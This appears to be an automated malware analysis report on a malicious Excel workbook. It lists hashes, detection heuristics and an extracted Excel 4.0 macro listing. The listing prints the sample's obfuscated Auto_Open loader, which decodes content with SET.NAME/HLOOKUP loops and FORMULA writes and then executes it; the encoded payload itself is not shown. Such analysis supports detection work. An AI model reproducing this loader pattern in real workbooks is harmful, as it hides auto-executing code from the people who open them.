Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bd42c1ff8163e6f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:48 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: bdc429fbe2d22cb6be137025881b176f SHA-1: ccfff1706fbf31bec995882ed572d2ba5cf7b670 SHA-256: 9bd42c1ff8163e6f0bd910ee6fbc0a3e226e35ebc03ea23cda3c05b3ca1e2762
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6570 bytes
SHA-256: 665b97fad3d3abe62fa8d79f3485a5940ef95a362f6c94184cc85bbb2309f93a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bryqeQFM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G172 
' 0018     22 LABEL : Cell Value, String Constant - belopli len=0 
' 0018     22 LABEL : Cell Value, String Constant - BhIhmed len=0 
' 0018     20 LABEL : Cell Value, String Constant - cjizm len=0 
' 0018     26 LABEL : Cell Value, String Constant - CPwqafKiuKG len=0 
' 0018     23 LABEL : Cell Value, String Constant - gyqtFVFL len=0 
' 0018     23 LABEL : Cell Value, String Constant - HLgoqIIr len=0 
' 0018     26 LABEL : Cell Value, String Constant - JKiojMUvfYi len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ltxsy len=0 
' 0018     20 LABEL : Cell Value, String Constant - MSRsw len=0 
' 0018     23 LABEL : Cell Value, String Constant - qNNjZqOW len=0 
' 0018     20 LABEL : Cell Value, String Constant - sRBvA len=0 
' 0018     22 LABEL : Cell Value, String Constant - uPAhBMw len=0 
' 0018     25 LABEL : Cell Value, String Constant - UXBKwRPjzb len=0 
' 0018     23 LABEL : Cell Value, String Constant - WYtmjgJH len=0 
' 0018     23 LABEL : Cell Value, String Constant - XaskvGAR len=0 
' 0018     25 LABEL : Cell Value, String Constant - XLiqrXlTOJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - xmcyLCXFprVN len=0 
' 0018     22 LABEL : Cell Value, String Constant - YRzuOKa len=0 
' 0018     24 LABEL : Cell Value, String Constant - zFTdQqgZE len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZLQqvJXGZVa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bryqeQFM,G76,"SET.NAME("Ltxsy",VALUE("0"))",""
'  bryqeQFM,G80,"SET.NAME("xmcyLCXFprVN",Ltxsy)",""
'  bryqeQFM,G84,"SET.NAME("zFTdQqgZE",Ltxsy)",""
'  bryqeQFM,G88,"SET.NAME("UXBKwRPjzb",COUNTA(sRBvA))",""
'  bryqeQFM,G93,"SET.NAME("XLiqrXlTOJ",COUNTA(qNNjZqOW))",""
'  bryqeQFM,G98,[],""
'  bryqeQFM,G103,"SET.NAME("belopli","")",""
'  bryqeQFM,G105,"xmcyLCXFprVN",""
'  bryqeQFM,G107,"SET.NAME("YRzuOKa",HLOOKUP("*",sRBvA,xmcyLCXFprVN,FALSE))",""
'  bryqeQFM,G112,"BhIhmed",""
'  bryqeQFM,G117,"SET.NAME("WYtmjgJH",Ltxsy)",""
'  bryqeQFM,G122,[],""
'  bryqeQFM,G127,"WYtmjgJH",""
'  bryqeQFM,G131,"ZLQqvJXGZVa",""
'  bryqeQFM,G133,"HLgoqIIr",""
'  bryqeQFM,G137,"JKiojMUvfYi",""
'  bryqeQFM,G141,"SET.NAME("gyqtFVFL",VALUE(HLOOKUP("*",qNNjZqOW,JKiojMUvfYi,FALSE)))",""
'  bryqeQFM,G144,"CPwqafKiuKG",""
'  bryqeQFM,G146,"belopli",""
'  bryqeQFM,G148,"zFTdQqgZE",""
'  bryqeQFM,G152,NEXT(),""
'  bryqeQFM,G156,"uPAhBMw",""
'  bryqeQFM,G159,"SET.NAME("f",INT(T(FORMULA(T(belopli)&"",""&T(uPAhBMw)))))",""
'  bryqeQFM,G161,"XaskvGAR",""
'  bryqeQFM,G166,NEXT(),""
'  bryqeQFM,G170,RETURN(),""
'  bryqeQFM,G200,"SET.NAME("cjizm",G76)",""
'  bryqeQFM,G204,"sRBvA",""
'  bryqeQFM,G209,"SET.NAME("qNNjZqOW",R59C14)",""
'  bryqeQFM,G212,"SET.NAME("XaskvGAR",223)",""
'  bryqeQFM,G217,"SET.NAME("MSRsw",7)",""
'  bryqeQFM,G222,cjizm(),""
'  bryqeQFM,G223,HALT(),""

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